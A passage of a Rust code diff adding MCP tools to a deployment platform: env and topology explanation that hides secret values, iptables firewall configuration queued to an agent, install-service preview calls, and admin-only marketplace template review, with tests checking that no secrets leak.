app.enabled.unwrap_or(true), + }) + .collect() +} + +fn json_tool_content(value: &T) -> Result { + Ok(ToolContent::Text { + text: serde_json::to_string_pretty(value) + .map_err(|err| format!("Serialization error: {err}"))?, + }) +} + +impl From for McpExplainEnvLayerResponse { + fn from(value: ExplainEnvLayer) -> Self { + Self { + name: value.name, + key_names: value.key_names, + key_count: value.key_count, + hash: value.hash, + } + } +} + +impl From for McpExplainDestinationResponse { + fn from(value: crate::services::ExplainDestination) -> Self { + Self { + path: value.path, + write_policy: value.write_policy, + drift_protection: value.drift_protection, + } + } +} + +impl From for McpExplainRenderedEnvResponse { + fn from(value: ExplainRenderedEnv) -> Self { + Self { + hash: value.hash, + inputs: value.inputs, + server_secrets_inherited: value.server_secrets_inherited, + service_secrets_override_server_secrets: value.service_secrets_override_server_secrets, + } + } +} + +impl From for McpExplainEnvResponse { + fn from(value: ExplainEnv) -> Self { + Self { + schema_version: value.schema_version, + deployment_hash: value.deployment_hash, + app_code: value.app_code, + local_authoring_env_path: value.local_authoring_env_path, + runtime_env_path: value.runtime_env_path, + runtime_compose_path: value.runtime_compose_path, + layers: value.layers.into_iter().map(Into::into).collect(), + destination: value.destination.into(), + rendered_env: value.rendered_env.into(), + reasoning: value.reasoning, + } + } +} + +impl From for McpExplainTopologyServiceResponse { + fn from(value: ExplainTopologyService) -> Self { + Self { + code: value.code, + name: value.name, + enabled: value.enabled, + } + } +} + +impl From for McpExplainTopologyResponse { + fn from(value: ExplainTopology) -> Self { + Self { + schema_version: value.schema_version, + deployment_hash: value.deployment_hash, + target: value.target, + local_compose_path: value.local_compose_path, + runtime_compose_path: value.runtime_compose_path, + local_authoring_env_path: value.local_authoring_env_path, + runtime_env_path: value.runtime_env_path, + services: value.services.into_iter().map(Into::into).collect(), + reasoning: value.reasoning, + } + } +} + +async fn load_owned_deployment( + context: &ToolContext, + deployment_hash: &str, +) -> Result<(crate::models::Deployment, Project), String> { + let deployment = db::deployment::fetch_by_deployment_hash(&context.pg_pool, deployment_hash) + .await + .map_err(|err| format!("Failed to fetch deployment: {err}"))? + .ok_or_else(|| "Deployment not found".to_string())?; + let project = db::project::fetch(&context.pg_pool, deployment.project_id) + .await + .map_err(|err| format!("Failed to fetch project: {err}"))? + .ok_or_else(|| "Project not found".to_string())?; + if project.user_id != context.user.id { + return Err("Deployment not found".to_string()); + } + Ok((deployment, project)) +} + +#[async_trait] +impl ToolHandler for ExplainEnvTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + let args: ExplainArgs = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {e}"))?; + let (deployment, project) = load_owned_deployment(context, &args.deployment_hash).await?; + let app_code = args.app_code.unwrap_or_else(|| "app".to_string()); + + let apps = + db::project_app::fetch_by_deployment(&context.pg_pool, project.id, deployment.id) + .await + .map_err(|err| format!("Failed to fetch apps: {err}"))?; + let app = apps + .iter() + .find(|app| app.code == app_code) + .or_else(|| apps.first()) + .ok_or_else(|| "No deployment apps found".to_string())?; + + let explain = build_explain_env( + &deployment.deployment_hash, + &app.code, + &local_authoring_env_path(&project), + remote_runtime_env_path(), + &runtime_compose_path(&project), + app_env_input(app), + ) + .map_err(|err| err.to_string())?; + + json_tool_content(&McpExplainEnvResponse::from(explain)) + } + + fn schema(&self) -> Tool { + Tool { + name: "explain_env".to_string(), + description: "Explain runtime env provenance for a deployment app without exposing secret values.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_hash": { "type": "string", "description": "Deployment hash to inspect" }, + "app_code": { "type": "string", "description": "Optional app code; defaults to first deployment app" } + }, + "required": ["deployment_hash"] + }), + } + } +} + +#[async_trait] +impl ToolHandler for ExplainTopologyTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + let args: ExplainArgs = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {e}"))?; + let (deployment, project) = load_owned_deployment(context, &args.deployment_hash).await?; + + let apps = + db::project_app::fetch_by_deployment(&context.pg_pool, project.id, deployment.id) + .await + .map_err(|err| format!("Failed to fetch apps: {err}"))?; + + let topology = build_explain_topology( + &deployment.deployment_hash, + &project_target(&project), + "stacker.yml", + &runtime_compose_path(&project), + &local_authoring_env_path(&project), + remote_runtime_env_path(), + topology_services(&apps), + ); + + json_tool_content(&McpExplainTopologyResponse::from(topology)) + } + + fn schema(&self) -> Tool { + Tool { + name: "explain_topology".to_string(), + description: "Explain deployment topology paths and service targets without exposing secret values.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_hash": { "type": "string", "description": "Deployment hash to inspect" } + }, + "required": ["deployment_hash"] + }), + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::mcp::registry::ToolRegistry; + use crate::models::{Deployment, Project, ProjectApp}; + use serde_json::json; + + #[test] + fn explain_tools_have_expected_schema_names() { + assert_eq!(ExplainEnvTool.schema().name, "explain_env"); + assert_eq!(ExplainTopologyTool.schema().name, "explain_topology"); + } + + #[test] + fn explain_tools_are_registered() { + let registry = ToolRegistry::new(); + assert!(registry.has_tool("explain_env")); + assert!(registry.has_tool("explain_topology")); + } + + #[test] + fn explain_env_text_never_contains_secret_values() { + let project = Project::new( + "user-1".to_string(), + "demo".to_string(), + json!({}), + json!({ + "env_file": "docker/prod/.env", + "custom": { + "deployment_artifacts": { + "config_bundle": { + "remote_compose_path": "/opt/stacker/deployments/prod/docker-compose.remote.yml" + } + } + } + }), + ); + let deployment = Deployment::new( + 1, + Some("user-1".to_string()), + "deployment_demo".to_string(), + "running".to_string(), + "runc".to_string(), + json!({}), + ); + let mut app = ProjectApp::new( + 1, + "api".to_string(), + "API".to_string(), + "demo/api:latest".to_string(), + ); + app.environment = Some(json!({ + "DATABASE_URL": "SUPER_SECRET_SHOULD_NOT_LEAK", + "API_ACCESS_TOKEN": "TOKEN_SECRET_SHOULD_NOT_LEAK", + "REGISTRY_USERNAME": "REGISTRY_USER_SHOULD_NOT_LEAK", + "REGISTRY_PASSWORD": "REGISTRY_PASSWORD_SHOULD_NOT_LEAK", + "RUST_LOG": "debug" + })); + + let explain = build_explain_env( + &deployment.deployment_hash, + &app.code, + &local_authoring_env_path(&project), + remote_runtime_env_path(), + &runtime_compose_path(&project), + app_env_input(&app), + ) + .expect("explain env should build"); + let text = serde_json::to_string_pretty(&explain).expect("serialize explain env"); + + assert!(text.contains("DATABASE_URL")); + assert!(text.contains("API_ACCESS_TOKEN")); + assert!(text.contains("REGISTRY_USERNAME")); + assert!(text.contains("REGISTRY_PASSWORD")); + assert!(!text.contains("SUPER_SECRET_SHOULD_NOT_LEAK")); + assert!(!text.contains("TOKEN_SECRET_SHOULD_NOT_LEAK")); + assert!(!text.contains("REGISTRY_USER_SHOULD_NOT_LEAK")); + assert!(!text.contains("REGISTRY_PASSWORD_SHOULD_NOT_LEAK")); + } + + #[test] + fn explain_env_mcp_response_has_allow_list_shape() { + let explain = build_explain_env( + "deployment_demo", + "api", + "docker/prod/.env", + remote_runtime_env_path(), + remote_runtime_compose_path(), + app_env_input(&{ + let mut app = ProjectApp::new( + 1, + "api".to_string(), + "API".to_string(), + "demo/api:latest".to_string(), + ); + app.environment = Some(json!({ + "DATABASE_URL": "SUPER_SECRET_SHOULD_NOT_LEAK", + "API_ACCESS_TOKEN": "TOKEN_SECRET_SHOULD_NOT_LEAK", + "REGISTRY_USERNAME": "REGISTRY_USER_SHOULD_NOT_LEAK", + "REGISTRY_PASSWORD": "REGISTRY_PASSWORD_SHOULD_NOT_LEAK", + "RUST_LOG": "debug" + })); + app + }), + ) + .expect("explain env should build"); + + let response = McpExplainEnvResponse::from(explain); + let serialized = serde_json::to_value(&response).expect("serialize MCP explain env"); + + assert!(serialized.get("schemaVersion").is_some()); + assert!(serialized.get("layers").is_some()); + assert!(serialized.get("requestJson").is_none()); + assert!(serialized.get("environment").is_none()); + let text = serde_json::to_string(&serialized).expect("serialize MCP explain env response"); + assert!(!text.contains("SUPER_SECRET_SHOULD_NOT_LEAK")); + assert!(!text.contains("TOKEN_SECRET_SHOULD_NOT_LEAK")); + assert!(!text.contains("REGISTRY_USER_SHOULD_NOT_LEAK")); + assert!(!text.contains("REGISTRY_PASSWORD_SHOULD_NOT_LEAK")); + } + + #[test] + fn explain_topology_mcp_response_has_allow_list_shape() { + let topology = build_explain_topology( + "deployment_state_online", + "cloud", + "docker/prod/compose.yml", + remote_runtime_compose_path(), + "docker/prod/.env", + remote_runtime_env_path(), + vec![ExplainTopologyService { + code: "upload".to_string(), + name: "Upload".to_string(), + enabled: true, + }], + ); + + let response = McpExplainTopologyResponse::from(topology); + let serialized = serde_json::to_value(&response).expect("serialize MCP topology"); + + assert!(serialized.get("services").is_some()); + assert!(serialized.get("target").is_some()); + assert!(serialized.get("requestJson").is_none()); + assert!(serialized.get("metadata").is_none()); + } +} diff --git a/stacker/stacker/src/mcp/tools/firewall.rs b/stacker/stacker/src/mcp/tools/firewall.rs new file mode 100644 index 0000000..4a73138 --- /dev/null +++ b/stacker/stacker/src/mcp/tools/firewall.rs @@ -0,0 +1,569 @@ +//! MCP Tools for Firewall (iptables) Management +//! +//! These tools provide AI access to: +//! - Configure iptables firewall rules on remote servers +//! - List current firewall rules +//! - Add/remove port rules based on public/private port definitions +//! +//! Supports two execution methods: +//! - SSH Method: Direct SSH to target server for Ansible-based deployments +//! - Status Panel Method: Commands sent via agent command queue for execution on target +//! +//! Port rules are derived from: +//! - Ansible role definitions (public_ports, private_ports) +//! - stacker.yml service port configurations + +use async_trait::async_trait; +use serde::{Deserialize, Serialize}; +use serde_json::{json, Value}; + +use crate::connectors::user_service::UserServiceDeploymentResolver; +use crate::db; +use crate::forms::status_panel::{ConfigureFirewallCommandRequest, FirewallPortRule}; +use crate::mcp::protocol::{Tool, ToolContent}; +use crate::mcp::registry::{ToolContext, ToolHandler}; +use crate::models::{Command, CommandPriority}; +use crate::services::{DeploymentIdentifier, DeploymentResolver}; + +/// Execution method for firewall commands +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +#[serde(rename_all = "lowercase")] +pub enum FirewallExecutionMethod { + /// Execute via Status Panel agent (preferred - runs directly on target) + #[default] + StatusPanel, + /// Execute via SSH (fallback for servers without Status Panel) + Ssh, +} + +/// Tool: configure_firewall - Configure iptables rules on a deployment +pub struct ConfigureFirewallTool; + +#[async_trait] +impl ToolHandler for ConfigureFirewallTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + #[serde(default)] + deployment_id: Option, + #[serde(default)] + deployment_hash: Option, + #[serde(default)] + app_code: Option, + #[serde(default)] + public_ports: Vec, + #[serde(default)] + private_ports: Vec, + #[serde(default = "default_action")] + action: String, + #[serde(default)] + persist: Option, + #[serde(default)] + execution_method: Option, + } + + fn default_action() -> String { + "add".to_string() + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Resolve deployment hash + let identifier = DeploymentIdentifier::try_from_options( + params.deployment_hash.clone(), + params.deployment_id, + )?; + + let resolver = UserServiceDeploymentResolver::from_context( + &context.settings.user_service_url, + context.user.access_token.as_deref(), + ); + let deployment_hash = resolver.resolve(&identifier).await?; + + // Build firewall request + let firewall_request = ConfigureFirewallCommandRequest { + app_code: params.app_code.clone(), + public_ports: params.public_ports.clone(), + private_ports: params.private_ports.clone(), + action: params.action.clone(), + persist: params.persist.unwrap_or(true), + }; + + // Validate the request + let validated_params = serde_json::to_value(&firewall_request) + .map_err(|e| format!("Failed to serialize firewall request: {}", e))?; + + let execution_method = params.execution_method.unwrap_or_default(); + + match execution_method { + FirewallExecutionMethod::StatusPanel => { + // Queue command for Status Panel agent execution + let command_id = format!("cmd_{}", uuid::Uuid::new_v4()); + + let command = Command::new( + command_id.clone(), + deployment_hash.clone(), + "configure_firewall".to_string(), + context.user.id.clone(), + ) + .with_parameters(validated_params) + .with_priority(CommandPriority::High); + + // Insert command + let saved = db::command::insert(&context.pg_pool, &command) + .await + .map_err(|e| format!("Failed to create firewall command: {}", e))?; + + // Add to queue + db::command::add_to_queue( + &context.pg_pool, + &saved.command_id, + &saved.deployment_hash, + &CommandPriority::High, + ) + .await + .map_err(|e| format!("Failed to queue firewall command: {}", e))?; + + tracing::info!( + command_id = %saved.command_id, + deployment_hash = %deployment_hash, + action = %params.action, + public_ports = params.public_ports.len(), + private_ports = params.private_ports.len(), + "Firewall configuration command queued for Status Panel execution" + ); + + let result = json!({ + "status": "queued", + "execution_method": "status_panel", + "command_id": saved.command_id, + "deployment_hash": deployment_hash, + "action": params.action, + "public_ports_count": params.public_ports.len(), + "private_ports_count": params.private_ports.len(), + "message": "Firewall configuration command queued. Status Panel agent will execute on target server." + }); + + Ok(ToolContent::Text { + text: serde_json::to_string(&result).unwrap(), + }) + } + FirewallExecutionMethod::Ssh => { + // For SSH method, we would need to execute via Ansible + // This requires the deploy_role infrastructure + // For now, return a placeholder indicating SSH method + + let result = json!({ + "status": "pending", + "execution_method": "ssh", + "deployment_hash": deployment_hash, + "action": params.action, + "public_ports": params.public_ports, + "private_ports": params.private_ports, + "message": "SSH execution method selected. Use deploy_role tool with 'firewall' role for Ansible-based execution.", + "note": "Prefer 'status_panel' execution_method when Status Panel agent is available on target." + }); + + Ok(ToolContent::Text { + text: serde_json::to_string(&result).unwrap(), + }) + } + } + } + + fn schema(&self) -> Tool { + Tool { + name: "configure_firewall".to_string(), + description: "Configure iptables firewall rules on a deployment target server. \ + Supports two execution methods: 'status_panel' (preferred, runs directly on target) \ + or 'ssh' (fallback for Ansible-based deployments). \ + Public ports are opened to all IPs (0.0.0.0/0). \ + Private ports are restricted to specified source IPs/networks." + .to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_hash": { + "type": "string", + "description": "Deployment hash (preferred identifier)" + }, + "deployment_id": { + "type": "number", + "description": "Deployment ID (legacy numeric ID)" + }, + "app_code": { + "type": "string", + "description": "App code for context/logging (optional)" + }, + "public_ports": { + "type": "array", + "description": "Ports to open publicly (accessible from any IP)", + "items": { + "type": "object", + "properties": { + "port": {"type": "number", "description": "Port number"}, + "protocol": {"type": "string", "enum": ["tcp", "udp"], "default": "tcp"}, + "source": {"type": "string", "default": "0.0.0.0/0"}, + "comment": {"type": "string"} + }, + "required": ["port"] + } + }, + "private_ports": { + "type": "array", + "description": "Ports to open privately (restricted to specific IPs/networks)", + "items": { + "type": "object", + "properties": { + "port": {"type": "number", "description": "Port number"}, + "protocol": {"type": "string", "enum": ["tcp", "udp"], "default": "tcp"}, + "source": {"type": "string", "description": "Source IP/CIDR (e.g., '10.0.0.0/8')"}, + "comment": {"type": "string"} + }, + "required": ["port", "source"] + } + }, + "action": { + "type": "string", + "enum": ["add", "remove", "list", "flush"], + "default": "add", + "description": "Action to perform on firewall rules" + }, + "persist": { + "type": "boolean", + "default": true, + "description": "Whether to persist rules across reboots" + }, + "execution_method": { + "type": "string", + "enum": ["status_panel", "ssh"], + "default": "status_panel", + "description": "Execution method: 'status_panel' (preferred) or 'ssh' (fallback)" + } + }, + "required": [] + }), + } + } +} + +/// Tool: list_firewall_rules - List current iptables rules on a deployment +pub struct ListFirewallRulesTool; + +#[async_trait] +impl ToolHandler for ListFirewallRulesTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + #[serde(default)] + deployment_id: Option, + #[serde(default)] + deployment_hash: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Resolve deployment hash + let identifier = DeploymentIdentifier::try_from_options( + params.deployment_hash.clone(), + params.deployment_id, + )?; + + let resolver = UserServiceDeploymentResolver::from_context( + &context.settings.user_service_url, + context.user.access_token.as_deref(), + ); + let deployment_hash = resolver.resolve(&identifier).await?; + + // Queue a list command + let command_id = format!("cmd_{}", uuid::Uuid::new_v4()); + + let firewall_request = ConfigureFirewallCommandRequest { + app_code: None, + public_ports: vec![], + private_ports: vec![], + action: "list".to_string(), + persist: false, + }; + + let command = Command::new( + command_id.clone(), + deployment_hash.clone(), + "configure_firewall".to_string(), + context.user.id.clone(), + ) + .with_parameters(serde_json::to_value(&firewall_request).unwrap()) + .with_priority(CommandPriority::Normal); + + let saved = db::command::insert(&context.pg_pool, &command) + .await + .map_err(|e| format!("Failed to create list firewall command: {}", e))?; + + db::command::add_to_queue( + &context.pg_pool, + &saved.command_id, + &saved.deployment_hash, + &CommandPriority::Normal, + ) + .await + .map_err(|e| format!("Failed to queue list firewall command: {}", e))?; + + tracing::info!( + command_id = %saved.command_id, + deployment_hash = %deployment_hash, + "Firewall list command queued" + ); + + let result = json!({ + "status": "queued", + "command_id": saved.command_id, + "deployment_hash": deployment_hash, + "message": "List firewall rules command queued. Check command status for results." + }); + + Ok(ToolContent::Text { + text: serde_json::to_string(&result).unwrap(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "list_firewall_rules".to_string(), + description: "List current iptables firewall rules on a deployment target server. \ + Queues a command for the Status Panel agent to retrieve the current ruleset." + .to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_hash": { + "type": "string", + "description": "Deployment hash" + }, + "deployment_id": { + "type": "number", + "description": "Deployment ID" + } + }, + "required": [] + }), + } + } +} + +/// Tool: configure_firewall_from_role - Configure firewall based on Ansible role ports +pub struct ConfigureFirewallFromRoleTool; + +#[async_trait] +impl ToolHandler for ConfigureFirewallFromRoleTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + role_name: String, + #[serde(default)] + deployment_id: Option, + #[serde(default)] + deployment_hash: Option, + #[serde(default = "default_action")] + action: String, + #[serde(default)] + private_network: Option, + } + + fn default_action() -> String { + "add".to_string() + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Resolve deployment hash + let identifier = DeploymentIdentifier::try_from_options( + params.deployment_hash.clone(), + params.deployment_id, + )?; + + let resolver = UserServiceDeploymentResolver::from_context( + &context.settings.user_service_url, + context.user.access_token.as_deref(), + ); + let deployment_hash = resolver.resolve(&identifier).await?; + + // Fetch role info from database to get ports + let user_service_url = &context.settings.user_service_url; + let endpoint = format!("{}/role?name=eq.{}", user_service_url, params.role_name); + + let client = reqwest::Client::new(); + let response = client + .get(&endpoint) + .header( + "Authorization", + format!( + "Bearer {}", + context.user.access_token.as_deref().unwrap_or("") + ), + ) + .send() + .await + .map_err(|e| format!("Failed to fetch role info: {}", e))?; + + if !response.status().is_success() { + return Err(format!( + "Failed to fetch role '{}': {}", + params.role_name, + response.status() + )); + } + + #[derive(Deserialize)] + #[allow(dead_code)] + struct DbRole { + name: String, + #[serde(default)] + public_ports: Vec, + #[serde(default)] + private_ports: Vec, + } + + let roles: Vec = response + .json() + .await + .map_err(|e| format!("Failed to parse role response: {}", e))?; + + let role = roles + .into_iter() + .next() + .ok_or_else(|| format!("Role '{}' not found", params.role_name))?; + + // Convert port strings to FirewallPortRule + let public_ports: Vec = role + .public_ports + .iter() + .filter_map(|p| parse_port_string(p, "0.0.0.0/0")) + .collect(); + + let private_source = params.private_network.as_deref().unwrap_or("10.0.0.0/8"); + let private_ports: Vec = role + .private_ports + .iter() + .filter_map(|p| parse_port_string(p, private_source)) + .collect(); + + // Build firewall request + let firewall_request = ConfigureFirewallCommandRequest { + app_code: Some(params.role_name.clone()), + public_ports: public_ports.clone(), + private_ports: private_ports.clone(), + action: params.action.clone(), + persist: true, + }; + + // Queue command + let command_id = format!("cmd_{}", uuid::Uuid::new_v4()); + + let command = Command::new( + command_id.clone(), + deployment_hash.clone(), + "configure_firewall".to_string(), + context.user.id.clone(), + ) + .with_parameters(serde_json::to_value(&firewall_request).unwrap()) + .with_priority(CommandPriority::High); + + let saved = db::command::insert(&context.pg_pool, &command) + .await + .map_err(|e| format!("Failed to create firewall command: {}", e))?; + + db::command::add_to_queue( + &context.pg_pool, + &saved.command_id, + &saved.deployment_hash, + &CommandPriority::High, + ) + .await + .map_err(|e| format!("Failed to queue firewall command: {}", e))?; + + tracing::info!( + command_id = %saved.command_id, + deployment_hash = %deployment_hash, + role_name = %params.role_name, + action = %params.action, + "Firewall configuration from role queued" + ); + + let result = json!({ + "status": "queued", + "command_id": saved.command_id, + "deployment_hash": deployment_hash, + "role_name": params.role_name, + "action": params.action, + "public_ports": public_ports, + "private_ports": private_ports, + "message": format!( + "Firewall rules from role '{}' queued for configuration. {} public ports, {} private ports.", + params.role_name, + public_ports.len(), + private_ports.len() + ) + }); + + Ok(ToolContent::Text { + text: serde_json::to_string(&result).unwrap(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "configure_firewall_from_role".to_string(), + description: "Configure firewall rules based on an Ansible role's port definitions. \ + Automatically extracts public_ports and private_ports from the role configuration \ + and creates corresponding iptables rules. Public ports are opened to all IPs, \ + private ports are restricted to the specified network (default: 10.0.0.0/8)." + .to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "role_name": { + "type": "string", + "description": "Name of the Ansible role (e.g., 'nginx', 'postgres', 'redis')" + }, + "deployment_hash": { + "type": "string", + "description": "Deployment hash" + }, + "deployment_id": { + "type": "number", + "description": "Deployment ID" + }, + "action": { + "type": "string", + "enum": ["add", "remove"], + "default": "add", + "description": "Action to perform" + }, + "private_network": { + "type": "string", + "default": "10.0.0.0/8", + "description": "CIDR for private port access restriction" + } + }, + "required": ["role_name"] + }), + } + } +} + +/// Parse a port string like "80", "443/tcp", "53/udp" into a FirewallPortRule +fn parse_port_string(port_str: &str, source: &str) -> Option { + let parts: Vec<&str> = port_str.split('/').collect(); + let port: u16 = parts.first()?.parse().ok()?; + let protocol = parts.get(1).unwrap_or(&"tcp").to_string(); + + Some(FirewallPortRule { + port, + protocol, + source: source.to_string(), + comment: None, + }) +} diff --git a/stacker/stacker/src/mcp/tools/install_preview.rs b/stacker/stacker/src/mcp/tools/install_preview.rs new file mode 100644 index 0000000..d7366d3 --- /dev/null +++ b/stacker/stacker/src/mcp/tools/install_preview.rs @@ -0,0 +1,181 @@ +use async_trait::async_trait; +use serde::Deserialize; +use serde_json::{json, Value}; + +use crate::mcp::protocol::{Tool, ToolContent}; +use crate::mcp::registry::{ToolContext, ToolHandler}; + +fn install_service_base_url() -> String { + std::env::var("INSTALL_SERVICE_URL").unwrap_or_else(|_| "http://install:4400".to_string()) +} + +async fn call_install_service( + method: reqwest::Method, + path: &str, + body: Option, +) -> Result { + let base_url = install_service_base_url().trim_end_matches('/').to_string(); + let url = format!("{}{}", base_url, path); + + let mut request = reqwest::Client::new().request(method, &url); + + if let Ok(internal_key) = std::env::var("INTERNAL_SERVICES_ACCESS_KEY") { + request = request + .header("Authorization", format!("Bearer {}", internal_key)) + .header("X-Internal-Key", internal_key); + } + + if let Some(body) = body { + request = request.json(&body); + } + + let response = request + .send() + .await + .map_err(|e| format!("Failed to call Install Service: {}", e))?; + + if !response.status().is_success() { + let status = response.status(); + let error_body = response.text().await.unwrap_or_default(); + return Err(format!("Install Service error {}: {}", status, error_body)); + } + + response + .json::() + .await + .map_err(|e| format!("Failed to parse Install Service response: {}", e)) +} + +pub struct PreviewInstallConfigTool; + +#[async_trait] +impl ToolHandler for PreviewInstallConfigTool { + async fn execute(&self, args: Value, _context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + payload: Value, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let response = call_install_service( + reqwest::Method::POST, + "/api/preview-app-config", + Some(params.payload), + ) + .await?; + + Ok(ToolContent::Text { + text: response.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "preview_install_config".to_string(), + description: + "Preview generated install configuration by calling Install Service /api/preview-app-config" + .to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "payload": { + "type": "object", + "description": "Request body accepted by Install Service /api/preview-app-config" + } + }, + "required": ["payload"] + }), + } + } +} + +pub struct GetAnsibleRoleDefaultsTool; + +#[async_trait] +impl ToolHandler for GetAnsibleRoleDefaultsTool { + async fn execute(&self, args: Value, _context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + role_name: String, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let response = call_install_service( + reqwest::Method::GET, + &format!("/api/role-defaults/{}", params.role_name), + None, + ) + .await?; + + Ok(ToolContent::Text { + text: response.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "get_ansible_role_defaults".to_string(), + description: "Get default variables for an Ansible role from Install Service /api/role-defaults/{role_name}" + .to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "role_name": { + "type": "string", + "description": "Ansible role name" + } + }, + "required": ["role_name"] + }), + } + } +} + +pub struct RenderAnsibleTemplateTool; + +#[async_trait] +impl ToolHandler for RenderAnsibleTemplateTool { + async fn execute(&self, args: Value, _context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + payload: Value, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let response = call_install_service( + reqwest::Method::POST, + "/api/render-templates", + Some(params.payload), + ) + .await?; + + Ok(ToolContent::Text { + text: response.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "render_ansible_template".to_string(), + description: + "Render Ansible templates by calling Install Service /api/render-templates" + .to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "payload": { + "type": "object", + "description": "Request body accepted by Install Service /api/render-templates" + } + }, + "required": ["payload"] + }), + } + } +} diff --git a/stacker/stacker/src/mcp/tools/marketplace_admin.rs b/stacker/stacker/src/mcp/tools/marketplace_admin.rs new file mode 100644 index 0000000..7a0a9cf --- /dev/null +++ b/stacker/stacker/src/mcp/tools/marketplace_admin.rs @@ -0,0 +1,500 @@ +use async_trait::async_trait; +use serde_json::{json, Value}; + +use crate::db; +use crate::helpers::security_validator; +use crate::mcp::protocol::{Tool, ToolContent}; +use crate::mcp::registry::{ToolContext, ToolHandler}; +use serde::Deserialize; + +fn require_admin(context: &ToolContext) -> Result<(), String> { + let role = context.user.role.as_str(); + if role != "admin_service" && role != "group_admin" && role != "root" { + return Err("Access denied: admin role required".to_string()); + } + Ok(()) +} + +/// List submitted marketplace templates awaiting admin review +pub struct AdminListSubmittedTemplatesTool; + +#[async_trait] +impl ToolHandler for AdminListSubmittedTemplatesTool { + async fn execute(&self, _args: Value, context: &ToolContext) -> Result { + require_admin(context)?; + + let templates = db::marketplace::admin_list_submitted(&context.pg_pool) + .await + .map_err(|e| format!("Database error: {}", e))?; + + let result = json!({ + "count": templates.len(), + "templates": templates, + }); + + tracing::info!("Admin listed {} submitted templates", templates.len()); + + Ok(ToolContent::Text { + text: serde_json::to_string(&result).unwrap(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "admin_list_submitted_templates".to_string(), + description: "List marketplace templates submitted for review. Returns templates with status 'submitted' awaiting admin approval or rejection.".to_string(), + input_schema: json!({ + "type": "object", + "properties": {}, + "required": [] + }), + } + } +} + +/// Get detailed information about a specific marketplace template including versions and reviews +pub struct AdminGetTemplateDetailTool; + +#[async_trait] +impl ToolHandler for AdminGetTemplateDetailTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + require_admin(context)?; + + #[derive(Deserialize)] + struct Args { + template_id: String, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let id = uuid::Uuid::parse_str(¶ms.template_id) + .map_err(|_| "Invalid UUID format for template_id".to_string())?; + + let template = db::marketplace::get_by_id(&context.pg_pool, id) + .await + .map_err(|e| format!("Database error: {}", e))? + .ok_or_else(|| "Template not found".to_string())?; + + let versions = db::marketplace::list_versions_by_template(&context.pg_pool, id) + .await + .map_err(|e| format!("Database error fetching versions: {}", e))?; + + let reviews = db::marketplace::list_reviews_by_template(&context.pg_pool, id) + .await + .map_err(|e| format!("Database error fetching reviews: {}", e))?; + + let result = json!({ + "template": template, + "versions": versions, + "reviews": reviews, + }); + + tracing::info!( + "Admin fetched detail for template {} ({} versions, {} reviews)", + id, + versions.len(), + reviews.len() + ); + + Ok(ToolContent::Text { + text: serde_json::to_string(&result).unwrap(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "admin_get_template_detail".to_string(), + description: "Get full details of a marketplace template including all versions (with stack_definition, changelog) and review history (decisions, reasons, security checklist).".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "template_id": { + "type": "string", + "description": "UUID of the template to inspect" + } + }, + "required": ["template_id"] + }), + } + } +} + +/// Approve a submitted marketplace template +pub struct AdminApproveTemplateTool; + +#[async_trait] +impl ToolHandler for AdminApproveTemplateTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + require_admin(context)?; + + #[derive(Deserialize)] + struct Args { + template_id: String, + #[serde(default)] + reason: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let id = uuid::Uuid::parse_str(¶ms.template_id) + .map_err(|_| "Invalid UUID format for template_id".to_string())?; + + let updated = db::marketplace::admin_decide( + &context.pg_pool, + &id, + &context.user.id, + "approved", + params.reason.as_deref(), + None, + ) + .await + .map_err(|e| format!("Database error: {}", e))?; + + if !updated { + return Err("Template not found or not in a reviewable state".to_string()); + } + + tracing::info!("Admin {} approved template {}", context.user.id, id); + + let result = json!({ + "template_id": params.template_id, + "decision": "approved", + "message": "Template has been approved. A product record will be auto-created by database trigger.", + }); + + Ok(ToolContent::Text { + text: serde_json::to_string(&result).unwrap(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "admin_approve_template".to_string(), + description: "Approve a submitted marketplace template. This changes the template status to 'approved' and triggers automatic product creation.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "template_id": { + "type": "string", + "description": "UUID of the template to 